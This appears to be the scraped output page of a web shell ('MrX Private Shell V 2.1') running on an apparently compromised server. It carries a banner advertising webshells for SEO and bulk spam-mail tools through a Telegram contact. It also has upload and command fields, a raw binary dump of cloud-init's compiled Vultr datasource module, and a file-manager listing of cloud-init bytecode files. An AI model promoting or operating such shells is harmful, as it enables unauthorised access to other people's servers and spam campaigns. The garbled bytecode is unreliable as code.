__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h��l�SSKrSSKJr SSKJs Js Jr SSKJrJrJ	r	J
r
 \R"\5r
SSSSS\
R"5<S	\	R"5S
<S\	R"5S<3S
.r"SS\R"5r\\R&44/rSr\S:Xa�SSKr\R."5(d\"S5 \R2"S5 \R4"SS9R6r\R8"\\S\S\S\S\S5r\Sr\R>"5r gg)�N)�Tuple)�sources�stages�util�versionzhttp://169.254.169.254��
�zCloud-Init/z - OS: �systemz
 Variant: �variant)�url�retries�timeout�wait�
user-agentc�^�\rSrSr%Sr\RRS-r\\	S4\
S'U4Sjr\S5r
SrS	rS
rSr\S5r\S
5rSrU=r$)�DataSourceVultr��Vultr)zstartup-script.�sensitive_metadata_keysc�>�[[U]XU5 [R"[R
"USS/05[/5UlSUlg)N�
datasourcer)	�superr�__init__r�
mergemanydict�get_cfg_by_path�BUILTIN_DS_CONFIG�ds_cfg�netcfg)�self�sys_cfg�distro�paths�	__class__s    ��C/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceVultr.pyr�DataSourceVultr.__init__%sN���
�o�t�-�g�u�E��(�(��$�$�W�|�W�.E�r�J�!�
�
������c�,�[R"5$�N)�vultr�is_vultr�r'r%�	ds_detect�DataSourceVultr.ds_detect/s���~�~��r'c�B�[RS5 UR5UlURSUlURUR5 [RSURS5 [RSURS5 g)NzMachine is a Vultr instance�	user-dataz	SUBID: %szinstance-idzHostname: %s�local-hostnameT)�LOG�debug�get_metadata�metadata�userdata_raw�get_datasource_data�r s r%�	_get_data�DataSourceVultr._get_data4sz���	�	�/�0��)�)�+��
� �M�M�+�6���	
� � ����/�	�	�	�+�t�}�}�]�;�<��	�	�.�$�-�-�0@�"A�B�r'c�0�SU;a$[R"US5 USUlO[R"US5UlUSUlUR
SS:XaSUR
S'USUlURS:XaSUlgg)N�cloud_interfaces�
interfaces�vendor-datar1��guestr0)r*�add_interface_namesr�generate_network_config�vendordata_rawr5r6)r �mds  r%r7�#DataSourceVultr.get_datasource_dataFs�����#�
�%�%�b�);�&<�=��/�0�D�K��7�7��<�8H�I�D�K� ��/����=�=�)�*�b�0�.5�D�M�M�*�+��{�O�������"� $�D��#r'c
��[R"URURSURSURSURSURSURR	5S9$)Nr
rrrr)�tmp_dir)r*r4r"r�get_tmp_exec_pathr8s r%r4�DataSourceVultr.get_metadata[sh���!�!��K�K��K�K����K�K�	�"��K�K�	�"��K�K����K�K��%��K�K�1�1�3�
�	
r'c���[R"5(dg[R"5(ag[R"5Sn[R
"U5$)NF�subid)r*r+�is_baremetal�get_sysinfor�instance_id_matches_system_uuid)r r!rKs   r%�check_instance_id�!DataSourceVultr.check_instance_idgsJ���~�~�����������!�!�#�G�,���6�6�u�=�=r'c��gr)r,r8s r%�launch_index�DataSourceVultr.launch_indexss��r'c��UR$r))rr8s r%�network_config�DataSourceVultr.network_configws���{�{�r')rr5rr6rC)�__name__�
__module__�__qualname__�__firstlineno__�dsnamer�
DataSourcerr�str�__annotations__r�staticmethodr-r9r7r4rO�propertyrRrU�__static_attributes__�
__classcell__)r$s@r%rrs����
�F�	���2�2�5H�H��U�3��8�_���� �� ��$%�*	
�	>��������r'rc�8�[R"U[5$r))r�list_from_depends�datasources)�dependss r%�get_datasource_listrg�s���$�$�W�k�:�:r'�__main__zMachine is not a Vultr instance�T)�reporterr
rrrrr>)!�logging�typingr�cloudinit.sources.helpers.vultrr�helpersr*�	cloudinitrrr�	getLoggerrWr2�version_string�system_inforr\r�DEP_FILESYSTEMrerg�sysr+�print�exit�Initr"r4rD�configrM�sysinfor,r'r%�<module>rzsD����/�/�4�4�
����!��#���
�	��� �����8�$�����9�%�	���\�g�(�(�\�B�w�-�-�/�0���;��z����>�>���
�/�0�������[�[�$�
'�
.�
.�F�	�	�	���%� ��)�$��)�$��&�!��,�'�

�B��
�
�F����!�G�1r'

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager